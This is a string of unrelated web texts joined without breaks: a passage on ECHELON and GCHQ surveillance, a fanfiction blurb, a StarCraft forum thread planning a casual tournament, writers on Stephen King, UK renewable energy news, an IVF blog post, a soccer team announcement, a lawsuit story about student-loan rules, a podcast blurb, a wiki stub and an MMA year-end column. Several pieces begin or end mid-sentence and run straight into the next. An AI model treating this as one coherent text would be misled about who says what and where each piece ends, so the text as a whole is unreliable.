Back on the ECHELON system, selected transmissions picked up by satellite are re-transmitted by secure down-link to receiving stations like Menwith Hill and Morwenstow in England or to Australia or the US, depending on the satellite's position. This is an important fact for the Irish. Ireland is on the eastern edge of the Atlantic from whence can be "seen" satellites in certain orbits. This may explain why little Ireland, like New Zealand, has been cunningly coaxed into the Big Boys Spy Club.
What the Brussels experts didn't mention and what Irish ministers may not concede, is the real purpose of the system. A contemporary ECHELON briefing paper given to GCHQ recruits and which has fallen into Goldhawk's hands, reads as follows:
"It's hard for an outsider to imagine the immense size and sheer power of GCHQ's super-computing architecture. When you come to GCHQ you'll encounter the latest state of the art Cray systems. Tandem based storage and high end work-stations. D-RAID (Distributed Redundant Aray of Inexpensive Disks) architectures are used for the storage of very large amounts of data. Indeed, GCHQ has one of the largest long-term bulk near line storage systems in the world...
"All GCHQ systems are linked together on the largest local area network in Europe - which is connected to other sites around the world via one of the largest wide area networks on earth.
"GCHQ employs the best. And rewards them accordingly. But if you're really right for us, you're driven by much bigger goals. You want the chance to work with vital impact on the political, military and economic well-being of our nation."
Lasy year, Robin Robinson an officer with the Joint Intelligence Committee (JIC) in Downing St resigned his position after claiming that both British and foreign companies routinely had their telecommunications intercepted for reasons unconnected with national security.
In January of this year, Robin Cook assured David Andrews that the UK (which employs 12,000 personnel in 20 eavesdropping locations throughout the country) would never spy on a neighbour for commercial purposes.[Rating K9][Humor][Friendship]
From the writer of The Worst Connection comes the sequel to that fun and diverting story. Follow our duo as they venture out into the Burrows so that they can get some much needed time away from the city to relax and enjoy themselves. The author infuses a good amount of pleasantness and comedy into this work, and the familiar premise of Nick meeting the Hopps family is handled proficiently too. The plot is going to get mighty interesting very soon, so make sure to keep an eye on this one! – DrummerMax64
Author: radredknuxfan
Description :
After finally joining the ZPD, Nick suggests that he and Judy head out to Bunnyburrow thinking that he’ll have an easy time there. When awkward questions, hard work on the farm, and even a new case rear their ugly heads, though, what’s a city slicker to do when he’s so out of his element?
The (Not-so) Great Outdoors
Also on Fanfiction.net
Additional Tags: Welcome to the Burrows! Please enjoy your stay.Lycangrope Profile Joined October 2013 United States 110 Posts #1 First and foremost, this is not in affiliation with TaKeTV. I'm just drawing inspiration from their HomeStory Cup format.
HSC is a staple for SC2. It's a unique event and it gives a lot of personality to the scene. I don't want to make a carbon copy of TaKe's event. I'd like to take the base idea - a casual, 3 day event with intimate player and personality interactions - and put some sort of twist to make it unique in its own right, aside from likely having heavily North American attendance. What will that twist be? Still working that angle.
I have spoken with some folks who would be interested in supporting a North American event that was similar to HSC, and before I draft and submit the partnership deck, I wanted to take time to gather the community's thoughts and feedback.
Korean and European Invites:
Who are the "must have" players and casters that you would like to see come to the United States?
NA Talent
What NA players/personalities do you want to see at this event?
Location and Venue
I'm thinking the Baltimore, MD's Inner-Harbor, Washington D.C., or Ocean City, MD (only if it's run in the summer). The venue would be a rented out penthouse or condo.
Dates
I do not want this conflicting with any major events or qualifiers, which likely means this won't happen until next year for the sake of proper planning. I will also do what I can to avoid running the event anywhere close to TaKe's HSC, as I don't want to give the vibe of competition. I'd like your thoughts on Spring, Summer and Winter for this event.
Funding
I have zero desire to Kickstart this event. The main people I'm pitching this to would be able to manage the majority of the logistics and staffing and other sponsors should be more than capable if covering the additional costs (travel, lodging, etc.).
Final Thoughts
I'm open to input on the above topics and anything I haven't listed. This is for all members of the community, so please let me know what you'd like to see to make this a special event rather than a rehash of what TaKe already does so well. Commentator Confucius say, "it is easy to make it over the hill when banelings lead the way."
Finalmastery Profile Blog Joined October 2011 United States 58 Posts #2 I would 100% volunteer for this!!!!! " The will to win is nothing without the will to prepare" - Juma Ikaanga
Ariumtv Profile Blog Joined May 2013 United States 106 Posts #3 Amazing, I hope I could be apart of this. Good luck! Won't stop, till I am at the top.
SC2CTL Profile Joined July 2013 Canada 104 Posts #4
For reference, this was done in Canada in the form of the Icy Cup: The problem I have with something like this is what advantage it has over HSC. Is it focusing on American Players? If so, why are Koreans and Europeans getting invited then?For reference, this was done in Canada in the form of the Icy Cup: http://wiki.teamliquid.net/starcraft2/Icy_Cup, which simply highlighted only Canadians. It was a good show.
Anoteros Profile Joined October 2013 44 Posts Last Edited: 2015-07-28 17:43:42 #5 Preferably not during winter, my Californian blood would freeze right in my veins.
As far as personalities I'd like to see:
-iNcontroL
-FearDragon
-Destiny
-Fenner
-RotterdaM
-Day9 (pls)
-ToD
-Nathanias
Players:
I'd like to see anything that involved a grudge match or rivalry. Something a bit more fun to look forward to rather than leave it to the randomness of the brackets.
(Obviously the tournament format may not allow for these matchups)
(Naniwa vs Polt, Gungfubanda [anyone really lol])
Miniraser vs MarineLord, DesRow
Jaedong vs Flash
Scarlett vs Bomber
Petraeus vs TheMightyKiwi
CombatEx vs Destiny / CatZ / iNcontroL
(I'm sure I'm missing a ton)
Anything with some juicy drama attached would be fun to watch squashed for the time being. Put those tweets to rest and let's see some games! :D Twitch.tv/AnoterosTV
feardragon Profile Blog Joined October 2010 United States 864 Posts #6 I would absolutely love to do what I can to make this happen as well.
I think one big thing about running this kind of event is travel costs for people. I like the idea of doing this out in the north part of the midwest rather than east or west coast. This means West Coast and East Coast don't have insane travel times/costs, it's close to Canada for the whole Toronto scene, the midwest will probably have cheaper costs to make all of this kind of stuff happen. This is mostly speculation on my part so I don't have numbers to back these thoughts up though.
Other thing is, a lot of the NA scene is semi-pro. Would you plan to do open bracket for the whole event, or have qualifiers for a paid flight + hotel? I know you don't have funding for anything yet so it's hard to talk numbers but what's your ideal player count? I think a lot of these things will really affect the kind of event this will end up being. Garbage Starcraft 2 Commentator
nerpderp Profile Joined February 2013 United States 780 Posts Last Edited: 2015-07-28 17:45:29 #7 On July 29 2015 02:38 SC2CTL wrote:
The problem I have with something like this is what advantage it has over HSC. Is it focusing on American Players? If so, why are Koreans and Europeans getting invited then?
For reference, this was done in Canada in the form of the Icy Cup: The problem I have with something like this is what advantage it has over HSC. Is it focusing on American Players? If so, why are Koreans and Europeans getting invited then?For reference, this was done in Canada in the form of the Icy Cup: http://wiki.teamliquid.net/starcraft2/Icy_Cup, which simply highlighted only Canadians. It was a good show.
I think the best model for this event might be Red Bull Atlanta from last year. The event didn't have the best players (not even the best NA players showed up), but they had entertaining games, highlighted the personalities, and overall put on a great, distinctly "NA" show (DirtyGG, anyone?). Certainly Lycan won't have the funds for something at that level, but it might be a good source to draw inspiration. I think the best model for this event might be Red Bull Atlanta from last year. The event didn't have the best players (not even the best NA players showed up), but they had entertaining games, highlighted the personalities, and overall put on a great, distinctly "NA" show (DirtyGG, anyone?). Certainly Lycan won't have the funds for something at that level, but it might be a good source to draw inspiration. "It's not that I have A.D.D., it's just that oh look a bunny rabbit!"
SC2Towelie Profile Joined July 2014 United States 561 Posts Last Edited: 2015-07-28 17:49:39 #8 On July 29 2015 02:23 Lycangrope wrote:
I'm thinking the Baltimore, MD's Inner-Harbor, Washington D.C., or Ocean City, MD (only if it's run in the summer). The venue would be a rented out penthouse or condo.
YES please please please somewhere on the east coast, it's been so long since we've had a major Starcraft event!
Also I will be glad to help out in any way if you're looking for volunteers! (SC2Towelie on twitter) YES please please please somewhere on the east coast, it's been so long since we've had a major Starcraft event!Also I will be glad to help out in any way if you're looking for volunteers! (SC2Towelie on twitter) Don't forget to bring a towel! (Towelie.635)
Ctone23 Profile Blog Joined December 2012 United States 1813 Posts Last Edited: 2015-07-31 19:26:09 #9 Gauntlet Esports
Big J Profile Joined March 2011 Austria 16157 Posts #10 you gotta bring out avilo. I'd watch 24/7 how avilo meets Korean professionals and rages about them.
Pirfiktshon Profile Joined June 2013 United States 1072 Posts #11 Depending on where it would be me and my wife might come and I would love to see EJK at this event tbh
Deathstar Profile Blog Joined May 2010 9150 Posts #12 On July 29 2015 03:12 Big J wrote:
you gotta bring out avilo. I'd watch 24/7 how avilo meets Korean professionals and rages about them. you gotta bring out avilo. I'd watch 24/7 how avilo meets Korean professionals and rages about them.
NA vs KR
Avilo will be the NA opening appetizer with Arium as the entree NA vs KRAvilo will be the NA opening appetizer with Arium as the entree rip passion
SausageBiscuit Profile Joined March 2015 72 Posts #13 Why not Gofundme for some additional funds?
This would be awesome!
GGzerG Profile Blog Joined January 2010 United States 9295 Posts #14 Yes, yes, and yes. This sounds amazing! Starting practicing now ^^ AKA: TelecoM[WHITE] Protoss fighting
intotheheart Profile Blog Joined January 2011 Canada 16831 Posts #15 I think that for me, Destiny and Incontrol are really important. I find that when watching HSC, shy, quiet pro-gamers open up a lot more when Incontrol's there with them. kiss kiss fall in love
Darkdwarf Profile Blog Joined December 2012 Sweden 955 Posts Last Edited: 2015-07-28 18:23:13 #16 I would say that winter seems a good time. Usually a bit of downtime and the serious tournaments haven't really kicked off yet.
EDIT: Agree with the poster above. InControl is a must for me personally. Teams: IM, Jin Air, Invictus || Players: Maru, GuMiho, INnoVation, Ryung, sOs, Squirtle, NaNiwa, Has, Zoun, Life, Rogue, Dark
partouf Profile Blog Joined May 2011 Netherlands 405 Posts #17 Venue and area important, put your fangs into that so you can figure out ways of travel and costs, and ways you can play around with the space you have, equipment you'll need, etcetera.
You'll never get the perfect date, just pick one that's available now and hope for the best.
Then #justdoit [update twitchuser set banned=1 where lastmessage like '%nohomo%';] - twitter.com/@partouf
ZombieGrub Profile Blog Joined May 2011 United States 591 Posts #18 I'll just put the feedback here so other people can yay or nay -
Not using crowdfunding is obviously the more 'professional' way to go, shall we say. You won't get any trolls saying 'well if they can't afford it don't do it' etc etc, but crowdfunding is really exciting. The ability to feel like you were 'a part of it all' and to get some really cool rewards is a really fun addition, imo. And I'm trying not to say this as someone who had a kickstarted event, but rather as a fan who supported something like Lone Star Clash.
Obviously if everything can be paid for by sponsors, great, but finding some way to include the audience as more than just a viewer is neat-o too. Commentator "Defeat is the acceptance of my own laziness." Masters terran: twitch.tv/zombiegrub Caster: @ZGGaming
Pontius Pirate Profile Blog Joined August 2013 United States 1556 Posts Last Edited: 2015-07-28 18:54:34 #19 I think Solar and at least one Axiom player would be important Koreans to snag, partly because of their excellent english. Jaedong would be good, as would Flash or Stork, due to their ingrained popularity from their BW past selves. Parting is a straight-up must. San is a good choice, as his Hero. The other herO is a decent choice as well.
On the European side, the Liquid boys are pretty reliably popular. Avoid players who are only popular due to reddit, such as Naniwa or Morrow. You don't want that kind of dependence on controversy. It would be neat if you could get some up-and-comers, such as Showtime or Uthermal.
From NA, you'll want the personalities InControl and Scarlett (the latter partly for her analysis skills), the analyst QXC, the players Xenocider, Puck, Kane, and Neeb. You should ideally bring in some SA players such as Kelazhur, and some Mexicans, such as JimRising. "I had to close the door so my parents wouldn't judge me." - ZombieGrub during the ShitfaceTradeTV stream
dvorakftw Profile Blog Joined November 2011 681 Posts #20 Think about the different ways the tournament can be done. For example you could do groups of 6 or 8 where they play round-robin BO1 and you can then go to a playoff bracket with seeds based on those results.
You can also have the ones not in the playoffs for randomized teams in a 2v2 and/or archon tournament to get added view on the trip. Or you can even let everyone in that and do broadcasts from replay to fill downtime with the players doing commentary on their own matches.
I'd also suggest for a first event keeping expenses as low as possible including seeing what could be done without covering full travel and the room costs. It's real easy to get high expenses quick and there are bound to be problems the first time. Remember what the first HSC was. Don't try to be what HSC is now.
1 2 3 4 Next AllStephen King—prolific writer, mega-bestseller, living author with the most film adaptations to his name, crowned king of horror but by no means limited to that genre—turns 70 today. Despite (or perhaps because of) his relentless success, there have been many conversations over the years about whether Stephen King is a “great writer” or not. (I recommend this hilarious essay about the experience of reading It.) Some of the contention has originated with King himself—in his aggressive acceptance speech upon winning the National Book Foundation’s Medal for Distinguished Contribution to American Letters, he admitted to early bitterness about literary writers and called readers of literary fiction “out of touch with their own culture.” To which Shirley Hazzard, winning the National Book Award for fiction that year, responded, essentially: slow your roll. But the truth is that lots of people love Stephen King’s books, and that they’ve ushered many readers—and many eventual writers—through their adolescence. For many, his books were the first to show what could be done with literature, beyond what was taught in school. Which is a wonderful thing. Here are twelve literary authors on their love for King, and the influence he’s had on their work.
Victor LaValle:
“One writer... is Stephen King, who was also a formative influence on me, but he can do the whole spectrum from splatter to realism to the genuinely weird.” (Electric Literature)
“How do you learn how to do something? You watch your sibling do it. Or you watch your parents do it. And as long as you don’t plagiarize, there isn’t any problem with copying. What I mean by that—let’s say there was a Stephen King story that took place in Maine with a bunch of white working class people working in a factory in the middle of the night. I didn’t know anything about that, but I would write a short story that was about some black factory workers at a factory in Queens at midnight and then it turns out that there’s a pathway down to an underground maze of rats. And it was a complete steal of one of Stephen King’s stories but that didn’t matter. What mattered was that I was teaching myself to tell a story and how to include the details that I knew, of a story that I knew.” (LA Times)
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“The first book I ever loved, like walked around with it and never let it go, was probably Stephen King’s It. First, I’ll admit part of the lure was being able to show off that I was reading a book that massive. 1,000 pages or so. Even as a paperback that’s a beast. I slapped it down where ever I could just so people could feel the tremor.
But really the reason I loved the book is because children died in it. Right from the opening scene. I know this sounds morbid. I guess that’s because it is morbid. But I found the varieties of threat, and murder, done to children extremely appealing. When I was young I thought it was just the surprise of finding such things written down in a novel. But as an adult I now think there was also something so gratifying about having a book acknowledge, admit, revel in the feeling of childhood. That you are under constant threat, that you have very little power, that there are forces in the world that simply will do you harm. Adults don’t like to think about this, but kids can’t ever forget such things are true. It didn’t lie to me.” (Literary Hub)
Lauren Groff:
“I love Stephen King and I owe him more than I could ever express. I love his wild imagination and his vivid scenes, many of which populate my nightmares even decades after I last read the books they’re in. But the greatest thing I gleaned most from reading Stephen King is his big-hearted glee, the way he treats writing with gratitude, the way he sees his job not as the source of anguish and pain many writers self-pityingly see it as, but rather as something he’s over-the-moon delighted to be lucky enough to do. If I could steal one thing from King, and keep it close to my heart forever, it is his sense of almost-holy glee when it comes to writing.” (Salon)
Colson Whitehead:
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“My family read a lot of commercial fiction. We always had the latest Stephen King. My mother would read it first, and then my sister, and then I would get it, starting in fifth grade. The first big book I read was Night Shift by Stephen King, you know, a huge book of short stories. And so for many years I just wanted to write horror fiction.” (Literary Hub)
“I was a big horror and science fiction fan growing up. My brother and I would rent horror movies every weekend and in junior high I was reading Stephen King and Isaac Asimov. It was those guys who made me want to write in the first place, so it made sense to me that I would eventually do a horror novel, even if it seems strange going from a coming-of-age story like my last novel, Sag Harbor, to a zombie apocalypse. Zombies are a great rhetorical prop to talk about people and paranoia and they are a good vehicle for my misanthropy.” (The Guardian)
“[In college] I wanted to write the black Shining or the black Salem’s Lot... Take any Stephen King title and put ‘the black’ in front of it. That’s basically what I wanted to do.” (VCU)
Kelly Link:
“I do reread books and stories, all the time. Often children’s books and ghost stories, especially anthologies of ghost stories. Stephen King’s novels or collections. I reread things that I loved, or that had a particular effect on me. I once asked a bunch of horror writers why it was still pleasurable to reread scary stories when their power to scare us has diminished. The writer Nick Mamatas said, ‘I read to feel a sense of dread.'” (LARB)
Robin Wasserman:
“Stephen King saved my life.... Stephen King saved my life strictly in the sense that after an especially humiliating junior high school afternoon (acid-washed jeans, a chair puddled with red paint, you get the rest), it was re-reading Itthat persuaded me not to run away and join the circus. Or at least not to quit school and get a job at the Gap. If the Losers Club could defeat knife-wielding bullies and a monstrous sewer clown, I reasoned, then surely I could take a stab at surviving the junior high cafeteria. After that day, the books I loved became the books I lived on. They were fresh air and security blanket in one; they were not only an acknowledgment that evil existed (you needed only meet my gym teacher to buy that) but an assurance that someone like me, needy and lonely and young, could defeat it.” (The Atlantic)
Sherman Alexie:
“I always tell people my literary influences are Stephen King, John Steinbeck, and my mother, my grandfather and the Brady Bunch.” (Interview with Thomson Highway)
“Oh my gosh. Stephen King, who was always writing about underdogs, and bullied kids, and kids fighting back against overwhelming, often supernatural forces [has stuck with me]. The world aligned against them.
As an Indian boy growing up on a reservation, I always |
keep the country powered up, with onshore and offshore wind playing the leading roles in our clean energy mix,” said RenewableUK’s chief executive Maria McCaffery.
“We’ve had a series of disappointing announcements from ministers since May which unfortunately betray a lack of positive ambition at the heart of government. If ministers want to see good statistics like we’ve had today continuing into the years ahead, they have to knuckle down, listen to the high level of public support we enjoy, and start making positive announcements.”
The renewable surge was led by solar energy, which more than doubled between the second quarters of 2014 and 2015. Electricity from wind rose by 65%, helped by the expansion of several large-scale offshore wind farms, while electricity from biomass rose 26%, mainly due to a switch from coal to wood chips at a unit of Drax power station.
“Government support has driven down the cost of renewable energy significantly and these statistics show that has successfully enabled renewables to compete with other technologies,” said a spokeswoman for the Department of Energy and Climate Change. “Our priority is now to move towards a low-carbon economy whilst ensuring subsidies are used where they are needed most, which provides the best value for money for hardworking bill payers.”
However, John Cridland, director general of the CBI, the UK’s leading business organisation delivered a scathing attack on Tuesday on the government moves that have weakened green policies. “These changes send a worrying signal about the UK as a place for low-carbon investment,” he said. “Over many years, the UK has built up real credibility on climate leadership and low-carbon investment. This is hard won, but easily lost.”
Former US vice president Al Gore also attacked the UK government, listing a long series of reversals on green policies and saying he could not understand the rationale, with climate change presenting a clear danger to the UK and the rest of the world.
Energy secretary Amber Rudd, visiting China with George Osborne this week, announced a £2bn loan guarantee for the proposed new Hinkley Point nuclear power station in Somerset, saying the plant was “value for money” for low-carbon, baseload electricity. But critics attacked the £24.5bn price tag and history of nuclear cost overruns and delays, with a former Tory energy minister calling it “one of the worst deals ever” for British consumers and industry.
Energy minister Andrea Leadsom spoke out in favour of shale gas exploration on Wednesday, which ministers have pledged to fast-track, saying it was “an inconvenient truth” for the anti-fracking lobby that shale gas could have economic and environmental benefits.
“We need to meet the UK’s rising demand for energy, using clean and low carbon energy sources if we are to continue to combat climate change and grow the economy,” she said. However, the government’s energy statistics released on Thursday said demand “fell by 2% continuing the recent downward trend”.In Navigating IVF, IVF Steph takes us on her journey through the wilds of fertility treatment.
My husband and I have been trying to get pregnant for almost three years and, damn, is typing that out depressing.
I didn’t expect that getting pregnant would be this hard. You have sex, and it happens. I mean, I’ve seen Lifetime movies before. Everyone knows that it happens if you skip a condom even once, especially if you are a teen or in need of a sudden plot twist, you get pregnant INSTANTLY. Maybe I’m just too old at almost 35 or maybe my life is twisty enough.
Technically, infertility is diagnosed when you’ve tried for one year without success. I am a giant control freak of a person, and impatient to boot, so I booked an appointment to check things out at six months. Thus began the Age of Medical Testing. The testing process for infertility is lengthy. I had blood tests, a Pap smear, ultrasound, contrast dye put in my uterus and Fallopian tubes to check for defects, and probably more that I’m forgetting. My husband also had a semen analysis (which meant I got to drive to the hospital with a cup of sperm in my cleavage. I was so worried I’d get pulled over.)
In our version of Mystery Diagnosis, we got the results back. I have cystic ovaries, and there were some male factor infertility issues. We were not going to conceive without medical assistance. This was a shock because I already have two kids from before this marriage. So while I thought maybe we needed some help, I assumed I’d pop a few pills and take my temperature, and we’d get pregnant in one or two months, tops. Instead, we were given two scary options – intrauterine insemination or in-vitro fertilization.
Both were invasive and expensive.
But we really want a kid.
So we talked about it for a few days. I was ready to start doing things that day, but my husband was a little uncertain about the idea of reproductive medicine. We had a lot of in-depth discussions about pregnancy and child rearing in general. While I don’t recommend the whole infertility thing (zero stars on Yelp from me), the talking was helpful. We developed a better understanding of our stances on topics that aren’t always discussed. I know where my husband draws the line on genetic testing, and he knows where I stand on things like pregnancy termination for medical reasons. And those stances still aren’t the same, but we know what we would do in a situation like that.
We decided to do intrauterine insemination (IUI). IUI is a process in which a catheter is placed into your uterus, through your cervix. Then, sperm is put there. This happens, of course, when you are ovulating, or it would be a weird torture rather than a medical procedure. I say torture because I was #blessed with a stubborn cervix. Everything hurt and I was sure I was dying during most of the procedures. Leading up to IUI, there are some different things you can do. We tried Clomid and Femara (at separate times) to stimulate my egg production, and then used a shot of HCG, a pregnancy hormone, to trigger ovulation at the right moment. I also had follicle studies in the mix, to check the size of my eggs and the lining of my uterus (and other things that I cannot recall).
If you told me that I would have to dance naked in the moonlight to get pregnant, I probably would have tried. I mean, does that work? What phase of the moon should it be?
We found out we were pregnant in October of 2015. We were, of course, ecstatic. But my blood test numbers were weird. And so, I did many blood tests and then some progesterone shots, because my progesterone was lower than it should have been.
In November, at work, I started to bleed. I work in an OB unit, and while that has sucked at times during this infertility stuff, it was a great place to be during this. Everyone knew what to do, and one of the doctors I work with got me in immediately for the world’s most painful ultrasound and an appointment. I was still pregnant, but the pregnancy was ectopic, and there was no saving it. You can read about that here.
Although the loss was devastating, the analytical part of me, went, “Okay, but at least we know that this works. As soon as we can try again, we’ll get pregnant right away.”
But we didn’t. Over and over, negative test after negative test.
Now we had another diagnosis to add. Unexplained infertility.
Meanwhile, all around me, people were getting pregnant. Easily. Momentarily. Without even trying. Close friends. Relatives. Patients that I had seen with their first baby were coming in with their second one. And the weight of all of my jealousy and sadness and rage was, and still is, excruciating. I hid pregnant people from my Facebook feed. I averted my eyes from new babies in stores, or from pregnant bellies. Why did these people deserve this and we didn’t?
I got desperate and tried everything. I pride myself on being evidence based, but I bought some crystal bracelet that supposedly would help with fertility. I stopped consuming caffeine and wine. I drank fertility tea. I took supplements. I had essential oil therapy. I reduced my carbs to basically nothing. If you told me that I would have to dance naked in the moonlight to get pregnant, I probably would have tried. I mean, does that work? What phase of the moon should it be?
This year, we are moving into uncharted territory. This year, we are moving forward with in-vitro fertilization or IVF as it’s called. That’s right, world, I’m going to spend thousands of dollars and give myself tons of shots and maybe have a test tube baby (which no one calls it anymore and is a misnomer because it’s a petri dish and not a test tube, but whatever.)
And I’m going to take you with me. I’ll be documenting the good, the bad, and the ugly through this column, through Twitter, and through Instagram.
And hopefully it will end with a baby, but it might not.
It might end in so much sadness, and I’ll document that too because infertility strikes so many families, and even though the Internet has made it a little better talked about, people still side eye me when I mention it.
If you have any questions, feel free to tweet me (@IVFSteph), and I’ll try to answer them or direct you to someone that can. I’m excited to take you on this journey with me.Sporting Club will formally introduce Kansas City’s new United Soccer League (USL) team on Thursday during a special event outside the Applause Club at Starlight Theatre.
Thursday’s event is open to the public and fans of all ages are welcome to take part in the festivities. Parking will be available in the Zebra Lot and all in attendance should enter through Gate 7 at Starlight Theatre.
Doors will open at 5:30 p.m. CT and the announcement will begin at 5:45 p.m. CT to reveal the team name, logo and home venue. A limited selection of merchandise will be available to purchase on site and a raffle will be held to give away prizes that include the first season ticket for the club’s inaugural season.
City officials will join the following guests to discuss the new USL club and its impact on the growth of the game in Kansas City:
Sporting KC Manager Peter Vermes
Sporting KC Assistant Technical Director Mike Jacobs
Sporting KC captain Matt Besler
KC Sports Commission Executive Committee Chairman Tom Butch
“Kansas City is a sports town and it is definitely a soccer town with Sporting Kansas City, FC Kansas City and Missouri Comets,” said Kathy Nelson, Kansas City Sports Commission President and CEO. “Now with the addition of a United Soccer League team to Sporting KC’s family, there is more to offer soccer fans and I couldn’t be more excited for Sporting, the fans and Kansas City.”
Kansas City’s team will be the 30th franchise in the United Soccer League, one of the largest professional men’s soccer leagues in the world with teams across the United States and Canada. The USL, a partner of Major League Soccer since 2013, looks to expand strategically with strong ownership groups that share the league’s passion and vision, in markets that are positioned for long-term success.Eighteen states and the District of Columbia on Thursday filed suit against the Department of Education and its secretary, Betsy DeVos, for “abandoning” protections for student loan borrowers established in the Obama administration and originally scheduled to take effect on July 1.
The so-called Borrower Defense Rule, completed by the Obama administration after years of work, entitled student loan borrowers to pursue loan forgiveness from schools found to have defrauded them. It also limited the ability of for-profit colleges to force students to sign arbitration agreements and class action waivers — thereby preventing them from taking cases against the schools to court.
“Since day one, Secretary DeVos has sided with for-profit school executives against students and families drowning in unaffordable student loans,” Massachusetts Attorney General Maura Healey wrote in a statement accompanying the lawsuit. “Her decision to cancel vital protections for students and taxpayers is a betrayal of her office’s responsibility and a violation of federal law. We call on Secretary DeVos and the U.S. Department of Education to restore these rules immediately.”
Healy noted that DeVos announced a review of the rule in May following a lawsuit against the Department of Education to stop the rule, from a group of for-profit colleges. DeVos announced she would delay the rule in June, citing “pending litigation challenging the BDR regulations” and what she described as an Obama administration rule-making effort that “missed an opportunity to get it right.”
The attorneys general filing suit against DeVos don’t buy it.
“[B]oth the language of the Delay Notice and the circumstances of its announcement belie this rationale and make clear that the Department’s reference to the pending litigation is a mere pretext for repealing the Rule and replacing it with a new rule that will remove or dilute,” they alleged in the suit.
In fact, Politico reported in June, citing internal documents that it had obtained, that DeVos cited the lawsuit as grounds to delay the rule’s implementation only after considering other rationales.
The rule largely took shape in the shadow of Corinthian Colleges, Inc., a for-profit group that declared collapsed 2015, leaving behind a massive, nationwide trail of defrauded students (and student loan borrowers).
In June, a similar wave of attorneys general urged DeVos to provide debt relief to students defrauded by Corinthians, signing onto a letter penned by Illinois Attorney General Lisa Madigan.
“We urge the Department to discharge these loans, consistent with your statements before a House appropriations subcommittee in May, and to do so swiftly,” the attorneys general wrote. “There are already findings that these student borrowers have been defrauded, and every day that passes causes them further harm. The Department should act immediately to finalize the discharge of these loans.”
Read the complaint below:When the Entrepreneur finds another broken down scout ship, Barclay’s clever plan to get over to the ship doesn’t go unpunished. Thrown into a paralyzing inner struggle, the only way the young lieutenant can confront his fear of being swept up in the matter stream is by grabbing onto a turd for dear life. When was the last time Reg or Miles used conditioner? Where are the admirals who have been in the shit? Did Barclay take a page from the Chaotic Bro playbook? It’s the episode that will trigger a deluge of complaints from the Betazoid alternative medicine community.
Music by Dark Materia & Adam Ragusea.
Follow Adam and Ben on twitter, and discuss the show using the hashtag #GreatestGen!
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Sign up for our mailing list!Marine Corps Base Camp Smedley D. Butler (or simply Butler Marine Base) is a United States Marine Corps base located in the Japanese prefecture of Okinawa. It was named after Marine Smedley D. Butler.
Installations [ edit ]
Camp Smedley D. Butler is actually a collection of facilities and satellite installations spread throughout Okinawa. Camp Smedley D. Butler was formerly called Camp or Fort Buckner, named for Army General Simon Bolivar Buckner, Jr., who commanded ground forces in the invasion of Okinawa and was killed in the last days of the battle. The renaming of Buckner to Butler occurred after most U.S. Army troops left Okinawa, and the base was transferred to the USMC.
Additionally, Marine Corps Air Station Futenma (including satellite Yomitan Auxiliary Airfield) and Marine Wing Liaison Kadena, while not part of the Camp Butler complex, shares many resources with it. Other Marine installations in Japan include Marine Corps Air Station Iwakuni and Camp Fuji.
See also [ edit ]
Coordinates:The confluence of three events over the second half of 2013 -- three sellout cards at the MGM Grand Garden Arena in Las Vegas with a combined gate of $16.8 million -- shook up the sport of mixed martial arts in ways no one could have anticipated heading into the year.
On July 6, Chris Weidman rocked the MMA world when he knocked Anderson Silva silly with a big left hook and took his middleweight title, ending the longest title reign in UFC history at UFC 162.
On Nov. 16, Georges St-Pierre was the beneficiary of a controversial call, as he retained his welterweight title against Johny Hendricks via split decision. The aftermath of the evening included St-Pierre vacating his welterweight title after five and a half years and made a long-simmering debate about MMA's flawed scoring system finally explode.
Then on Dec. 28, what figures to be the biggest show of the year, UFC 168, ended in stunning fashion, as Silva suffered a gruesome leg injury throwing a kick at Weidman in the second round of their rematch. In the co-main event, Ronda Rousey solidified her position as the UFC's leading villain after refusing to shake Miesha Tate's hand after submitting Tate in the third round of their bantamweight title rematch.
After causing a chain of events which ended with the UFC facing 2014 without both of its biggest drawing cards, you could make a case for any of these three events taking home MMAFighting.com's 2013 Event of the Year award.
In the end, though, we're going with UFC 168. The year-end show had the strongest buzz of the three going into the evening. The allure of whether the UFC's greatest champion of all-time could regain his title trumped anything the other two main events could offer: UFC 162 and 167 were simply the latest title defenses by long-reigning champions. And 168 was the only card of the three with a co-main event, Ronda Rousey vs. Miesha Tate, which could have headlined a pay-per-view on its own. And while it was for all the wrong reasons, the shocking end to the main event placed the UFC front and center in the sports world's headlines for days to come.
That doesn't even bring into account the little here and there things which happened along the way, like Travis Browne proving himself a legit heavyweight contender with his vicious finish of former heavyweight champion Josh Barnett; a rejuvenating victory for Jim Miller, and Dustin Poirier's memorable finish of Diego Brandao, a day after Brandao both was way off on his weigh-in and threatened to stab Poirier.
Again, we could very well go 1A, 1B, and 1C with these events. But since we have to pick one, UFC 168 was the most significant card of the year, before, during and after. And as such, it gets the nod as the 2013 MMAFighting.com Event of the Year.
Runners-up:
1. UFC 167, Nov. 16, Las Vegas: In those moments between the final horn sounding on GSP-Hendricks and the reading of the scores, it seemed like we had the perfect end to a near-perfect evening: A new champion, to cap a night in which Robbie Lawler's redemption story continued with a win over Rory MacDonald; Tyron Woodley KO'd Josh Koscheck; and Donald Cerrone scored an exciting win over Evan Dunham. Then GSP was announced as the winner. Then he vaguely hinted at taking a break. Then came one of the most bizarre press conferences ever, as Dana White ripped into both GSP and the Nevada commission, before a battered St-Pierre showed up. Weeks later, St-Pierre vacated his title and announced a leave of absence. The ramifications of UFC 167 will be felt in the sport for a long time to come.
2. UFC 162, July 6, Las Vegas: Without UFC 162, the events of UFC 168 wouldn't have been possible. But UFC 162 didn't have the same level of anticipation going in as UFC 167 and 168 (in fact, some of the dimmer bulbs in the Twitterverse accused the UFC of forcing fighters to say Weidman stood a chance against Silva simply to drum up interest in the event). Then Weidman landed his history-making roundhouse, guaranteeing the rematch would be one of the most talked-about events in MMA history. This capped off an solid evening of action which included Frankie Edgar scoring a much-needed win over Charles Oliveira; Mark Munoz proving MMA wrestling doesn't have to be boring in his win over Tim Boetsch, and Cub Swanson's third-round rally to finish Dennis Siver in a key featherweight bout.
3. UFC 157, Anaheim, Calif., Feb. 23. UFC 157 transcended mixed martial arts and was a landmark even in the history of women's sports, period. The UFC may have taken too long to add women to the roster, but when they did, they went all out. There was no kid sister treatment, nor the sideshow element other combat sports promotions gave women's competitors. Rousey vs. Liz Carmouche, in both the first women's fight and title matchup, was the unquestioned draw at Anaheim's Honda Center. Rousey brought a rarely seen level of mainstream attention to the sport. Carmouche herself was a trailblazer, the first openly gay UFC fighter at the beginning of an unprecedented year for gay and lesbian visibility in pro sports. And, by the way, the card delivered, with Carmouche giving Rousey a battle for submitting to an armbar; the start of Urijah Faber's remarkable 4-0 year with a slick submission of Ivan Menjivar; and a fight of the year candidate on the undercard between Dennis Bermudez and Matt Grice.
